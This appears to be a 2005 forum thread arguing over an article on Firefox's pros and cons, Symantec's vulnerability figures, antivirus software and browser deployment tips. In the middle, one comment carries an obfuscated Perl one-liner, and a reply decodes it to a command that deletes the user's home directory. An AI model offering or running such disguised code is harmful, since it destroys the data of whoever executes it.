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Pros and Cons of Firefox Critically Evaluated?
A Dafa Disciple writes "Fred Langa of Information Week has written an article claiming to discuss the 'Pros and Cons of Firefox'. At first I was excited because I thought I was going to get to finally read an enlightening, in-depth article that critically examined the browser. I should have known better. Aside from the usual criticism of open source software, it contains a reference to a Symantec Internet Security Report which claims that more security vulnerabilities in the last six months of 2004 were found in Firefox than IE. I'll leave it to you to analyze Mr. Langa's opinion and scrutinize Symantec's study and reputation as a security software developer."
Print version of the article fitting nicely onto one page.
Its a little odd that this article would be posted without a note that Firefox 1.0.3 has just been released: http://www.mozilla.org/products/firefox/releases/1 .0.3.html
I used to run adaware with IE, I've run it once and a while since I switched to firefox and it'll occasionally find a cookie or two that doesn't bother me. With IE it'd find a couple hundred problems.
Security vulnerabilites my ass.
(yes I know spyware and security is different, but firefox sure is a lot less of a pain in the ass)
They have that.
Its called mozilla.
Firefox is mozilla with most of the extra stuff besides the browser cut out.
I used to work for Symantec's tech support (used to--now Mike in India handles it) and the official line that we gave customers when they get a virus that Norton didn't detect was "Wait for the new definition file...it comes out next Wednesday." And when Norton wouldn't get rid of a virus, the line was "Norton Antivirus is a detection tool, not a removal tool." Which is total BS. If you read their website, the advertising for Norton AntiVirus says "Removes Viruses". That always troubled me, and I'm actually glad to be working elsewhere now.
I personally run Grisoft's AVG for free, and Zone Alarm, and not only have I never had a virus/worm, they run a zillion times faster than Norton AntiVirus and Personal Firewall.
Symantec makes bloatware that doesn't work well. Avoid it like the plague.
Don't take life so seriously. No one makes it out alive.
This says it all. Not only has Firefox had 1/7 the vulnerabilities of IE, but those that it did have were patched quicker and were of less severity in most cases.
Regards,
Steve
http://www.informationweek.com/shared/printableArt icle.jhtml?articleID=160900911
Easy fix to this in win 2k and xp.
Install Firefox. Install all of your plugins, themes, decorations, bangles, tools.
Copy the Mozilla folder from your home folder application data. Application data is a hidden folder. a little digging will find it though.
On new machine install firefox.
Copy folder to the same place on new machine.
Presto. Nothing lost.
Can be used to create a custom look for your firefox across the network if you'd like. Force a backup of the folder for each user and their prefs all stay after a crash. Put the files on a USB key and carry your firefox with you. Thunderbird too.
Works for me.
I read the comment about Firefox not displaying the Yahoo logo and I couldn't believe it. Then, I popped over to Yahoo.com and sure enough, no logo.
A quick check of the source told me what was going on. I recognized the yimg URL as one that I had *BLOCKED* images from long ago. Yahoo serves tons of graphics ads all over the Internet and I just blocked them all using Firefox's native ability to block images from a particular URL.
It seems Yahoo serves their own graphics from the same server as their ads. Silly rabbit.
So, it isn't a rendering bug with Firefox, it is a feature! And a damned useful one at that.
feature + ignorance = bug? Sad.
-Charles
Learning HOW to think is more important than learning WHAT to think.
Firefox's "install" consists of one directory. Copied to many machines. The configuration consists of one file stored in a user's profile. The distribution of both is easily automated without requiring the use of an MSI.
Plugins, BTW, are also in that folder in the user's profile. You know, the one that's stored on a central server in your large network? Just set up firefox once on a test machine, and copy the firefox profile folder to each user's windows profile, then distribute the program files however you prefer to do that kind of thing.
This can't be the first program with a non-MSI install method that an admin of a large network has encountered...
$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{~" -;;s;;$_;see
; ;
Adding whitespace
($?) ? s:;s:s;;$?:
: s;;=]=>%-{<-|}<&|`{;
y; -/:-@[-`{-};`-{~" -;
s;;$_;see
$? is equal to zero normally, so that's the same as
s//=]=>%-{<-|}<&|`{/;
y/ -\/:-@[-`{-}/`-{~" -/;
s//$_/see
The first statement => $_ = '=]=>%-{<-|}<&|`{';
second translates $_ to 'system"rm -rf ~"'
third: eval $_
I've never understood the argument that the more people that user firefox (or linux for that matter), then hackers will begin to target those users, too. Isn't the point of OSS that ANYBODY can see the source code? If a vulnerability is found, why would anyone think it will stay there?!? It will be reviewed and fixed by any number of people in a timely manner. I think that's the core of what makes firefox and the like "more secure". What am I missing here?
I might mention that Kevin Gerich's widget set makes Firefox's HTML controls look much more presentable on Mac, in my opinion. It's not quite the same as having native Aqua widgets, but it's a start. Granted they aren't bundled with the application by default, nor do they solve any of the other OS integration issues you mentioned.
That having been said, I agree with the assessment that Firefox for Mac has a lot of catch-up to do to match Safari in terms of aesthetics. It's one of the biggest cons of choosing Firefox on the Mac platform. Safari, as Apple's own in-house effort, gets a level of fit-and-finish with the rest of the OS that third-party developers can have a tough time matching.
On the other hand, the biggest pro for Firefox on Mac (in my opinion) is the expandability. Safari doesn't have Adblock, BugMeNot, or any of my other favorite extensions. Even Camino doesn't support them. So in my case, I choose expandability over aesthetics and use Firefox as my default browser on Mac.
Ideally though, it would be possible to have both. Maybe in time and with further Firefox development.
-Frank
Exactly. Not that vulnerabily counts aren't important, but you have to dig for more information. The article said there were 13 reported for IE and 21 for Firefox in the same time period. OK. How many of those have been fixed in IE and in Firefox? What was the breakdown on severity? What platforms were affected?
If the author didn't want to go into all this detail to give a more accurate picture, he shouldn't have just thrown out those numbers. I won't go as far as to say they are meaningless, but they don't paint an accurate picture.
My beliefs do not require that you agree with them.
My Linux box is frequently targetted, but it's all Windows exploits so it doesn't matter.Ah, so there is no such thing as "security" then.
Just "marketshare".
No matter how many software experts put in how much effort, the end result will spontaniously generate "flaws" as more people use it.
By that "logic", there is no difference between a browser ("A") written by a team of experts who focused on security
Flaws do NOT appear just because more people use the software.
Code is not magic.
I assume ListZilla does the same thing? Perhaps better?
Installing Flash is point-and-click. Yes, I just tried it. I'm even on Linux, and it's still point and click.
It's a little puzzle piece that says "Click here to download plugin". After that, everything's automated. You just have to click next a few times and agree to a (Macromedia) license. You don't even have to restart the browser.
If you have any suggestions on how it could be improved, please report them to bugzilla.mozilla.org, or even just post here in reply to me or email me, and I'll do it for you (assuming I agree they'd improve it).
This introduces huge licensing problems. If mozilla.org were to bundle Flash, for example, they would first have to get Macromedia's approval, and even then it would cause other problems, e.g. including it in Debian, which would most likely reject it because of the non-free license.
It also puts a lot more stress on the developers and release-candidate testers, as they have to do double the work.
That's very unfortunate :-(
You should fix your applications. You'll need to eventually, anyway, Firefox is just a good incentive to.
Most people consider the lack of ActiveX a good thing, as it strengthens security considerably.
Most people would take the opposite position here: Firefox has a much better user interface than other browsers and especially Internet Explorer. If you have any specific issues, again, either report them to bugzilla.mozilla.org or send them to me and I'll pass them along to there.
Though most people I've talked to think the support you can get in those forums is better and faster than what you get from most corporate support centers, I can understand why you might need this in a school or company. I believe there are one or perhaps even several third-party companies starting up to provide equivelant support, but I can't be certain off the top of my head. If this is a strong issue, you may want to look into it.
This I know is a real issue, because I've used it myself in school ;-) I'd point out, though, that there are plenty of other ways that students can hide what they're doing, and I've watched friends play games for hours without the teacher knowing it, even in Internet Explorer.
That's unfortunate. I'm sorry the people that found you weren't as helpful.
There are 11 types of people in the world: those who can count in binary, and those who can't.